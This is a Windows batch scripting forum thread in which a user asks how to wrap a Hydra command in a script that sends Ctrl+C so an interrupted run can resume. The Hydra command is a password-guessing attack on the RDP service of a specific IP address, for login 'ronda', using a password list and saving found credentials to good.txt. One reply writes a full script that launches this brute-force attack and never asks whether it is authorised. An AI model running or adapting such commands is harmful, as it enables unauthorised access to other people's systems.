how to integrate hydra command inside this ctrl+c script

Discussion forum for all Windows batch related topics.

Moderator: DosItHelp

Post Reply
Message
Author
raspberry109
Posts: 29
Joined: 07 Jun 2017 23:40

how to integrate hydra command inside this ctrl+c script

#1 Post by raspberry109 » 09 Jun 2017 00:47

I found here this .bat script i test it and works fine (its about programmatically "press" Ctrl-C / Exit batch inside CALL)
here the script:

Code: Select all

@echo off

for /L %%a in (1,1,100) do (
  echo(Test waiting for Ctrl+C, loop %%a
  ping 1.1.1.1 -w 500 -n 1 > NUL
  if %%a equ 6 call :sendCTRLC_WAIT
)

echo(This is never reached.
exit/B


rem wait for a second until ctrl-c is sent to this cmd session
:sendCTRLC_WAIT
SetLocal
set "_file1_=%TEMP%\after.vbs"
set "_file2_=%TEMP%\ctrlc.vbs"
>"%_file1_%" (
  echo(wScript.Sleep 1300
  echo(set oWS = CreateObject("wScript.Shell"^)
  echo(oWS.SendKeys "s"
  echo(wScript.Sleep 50
  echo(oWS.SendKeys "{ENTER}"
)
>"%_file2_%" (
  echo(wScript.Sleep 1000 
  echo(set oWS = CreateObject("wScript.Shell"^)
  echo(oWS.SendKeys "^{c}"
)
start /B cmd /C ""%_file1_%"" & rem del /F /Q "%_file1_%" 2>NUL"
start /B cmd /C ""%_file2_%"" & rem del /F /Q "%_file2_%" 2>NUL"
exit/B 0


:sendCTRLC_TESTED
SetLocal
set "_file1_=%TEMP%\after.vbs"
set "_file2_=%TEMP%\ctrlc.vbs"
>"%_file1_%" (
  echo(wScript.Sleep 300
  echo(set oWS = CreateObject("wScript.Shell"^)
  echo(oWS.SendKeys "s"
  echo(wScript.Sleep 50
  echo(oWS.SendKeys "{ENTER}"
)
>"%_file2_%" (
  echo(set oWS = CreateObject("wScript.Shell"^)
  echo(oWS.SendKeys "^{c}"
)
start /B cmd /C ""%_file1_%"" & rem del /F /Q "%_file1_%" 2>NUL"
start /B cmd /C ""%_file2_%"" & rem del /F /Q "%_file2_%" 2>NUL"
exit/B 0


I have the 2'nd batch script which I want to integrate into the script above

Code: Select all

if exist "hydra.restore" (
  hydra -R
) else (
  hydra -V -l ronda -P pass.txt -e ns -o good.txt -f 217.10.196.138 rdp
)


or when someone close HYDRA.EXE process

So if someone kill hydra process command prompt will exit with ctrl+c
can anyone help me with that plz?
thank you
Last edited by raspberry109 on 09 Jun 2017 02:38, edited 1 time in total.

aGerman
Expert
Posts: 4678
Joined: 22 Jan 2010 18:01
Location: Germany

Re: how to integrate hydra command inside this ctrl+c script

#2 Post by aGerman » 09 Jun 2017 02:37

raspberry109 wrote:So if someone kill hydra process

Then the process is dead and gone.

raspberry109 wrote:command prompt will exit with ctrl+c

Too late for the killed process (as I already wrote in your other thread).

A process that doesn't run anymore cannot do any further action like writing a restore file.
Only if the running process receives a Ctrl+C an internal event handler can keep the process alive until it completed writing the restore file.

Steffen

raspberry109
Posts: 29
Joined: 07 Jun 2017 23:40

Re: how to integrate hydra command inside this ctrl+c script

#3 Post by raspberry109 » 09 Jun 2017 02:42

yes but hydra works with cmd.exe so when hydra.exe is killed cmd.exe must be killed too right?so before cmd.exe be killed this message might first appear,is possible this?:
:P

"Terminate batch job (Y/N)" then..choose N or Y doesn't matter

elzooilogico
Posts: 128
Joined: 23 May 2016 15:39
Location: Spain

Re: how to integrate hydra command inside this ctrl+c script

#4 Post by elzooilogico » 09 Jun 2017 03:20

Not sure what your logic is, but...

Code: Select all

@echo off
SetLocal EnableDelayedExpansion

set "pID="
rem These may new adjustement
set "processName=hydra.exe"
set "executeName=C:\Program Files (x86)\some_folder\some_other_one\hydra.exe"

set "preferredTitle=NORMAL EXECUTION"
set "conditionalTitle=ANOTHER EXECUTION"

:: lookup process by imagename
for /F "usebackq tokens=2 skip=3" %%i in (`tasklist /FI "imagename eq %processName%"`) do set "pID=%%i"
:: lookup process by windowtitle
for /F "tokens=2 delims=," %%A in ('tasklist /nh /fo csv /fi "WINDOWTITLE eq %conditionalTitle%"') do set "pID=%%~A"

:: The process is running
if defined pID call :sendCTRLC

rem If some condition is met (i.e. app running) you may exit before starting another instance of application
rem if defined pID exit/B

if exist "hydra.restore" (
  start /B "%preferredTitle%" cmd /c ""hydra" -R"
) else (
  start /B "%conditionalTitle%" cmd /c ""hydra" "-V -l ronda -P pass.txt -e ns -o good.txt -f 217.10.196.138 rdp""
)

EndLocal
Exit/B

:sendCTRLC
SetLocal
>"after.vbs" (
  echo(wScript.Sleep 800
  echo(set oWS = CreateObject("wScript.Shell"^)
  echo(oWS.SendKeys "y"
  echo(wScript.Sleep 50
  echo(oWS.SendKeys "{ENTER}"
)
>"ctrlc.vbs" (
  echo(set oWS = CreateObject("wScript.Shell"^)
  echo(oWS.AppActivate %pID%
  echo(WScript.Sleep 300
  echo(oWS.SendKeys "^{c}"
)
start /B cmd /C ""after.vbs" & del "after.vbs" 2>NUL"
start /B cmd /C ""ctrlc.vbs" & del "ctrlc.vbs" 2>NUL"
EndLocal   
exit/B 0

This script first search for running process. If it is found, then upon condition (here by window title) send ctrl+C to desired window.

Then start program in another cmd session attached to the current cmd window. The key here is the use of the start command, so we can set an unique window title that may be used to search process with tasklist.


But... if you want to close a process... I would simply prefer

Code: Select all

for /F "usebackq tokens=2 skip=3" %%A in (`tasklist /FI "imagename eq %processName%"`) do taskkill /PID %%A /F >NUL 2>&1
or

Code: Select all

for /F "tokens=2 delims=," %%A in ('tasklist /nh /fo csv /fi "WINDOWTITLE eq %conditionalTitle%"') do taskkill /PID %%A /F >NUL 2>&1

aGerman
Expert
Posts: 4678
Joined: 22 Jan 2010 18:01
Location: Germany

Re: how to integrate hydra command inside this ctrl+c script

#5 Post by aGerman » 09 Jun 2017 03:48

raspberry109 wrote:yes but hydra works with cmd.exe so when hydra.exe is killed cmd.exe must be killed too right?

cmd.exe is the parent process of hydra.exe. They both run in the same window. Thus, if you close the window both processes will be terminated.

raspberry109 wrote:so before cmd.exe be killed this message might first appear,is possible this?

No. If you kill hydra.exe then it cannot recieve Ctrl+C anymore. If you kill cmd.exe then no script is running anymore to send the Ctrl+C.

raspberry109
Posts: 29
Joined: 07 Jun 2017 23:40

Re: how to integrate hydra command inside this ctrl+c script

#6 Post by raspberry109 » 09 Jun 2017 03:53

ok i understand now, thanks for everything

Post Reply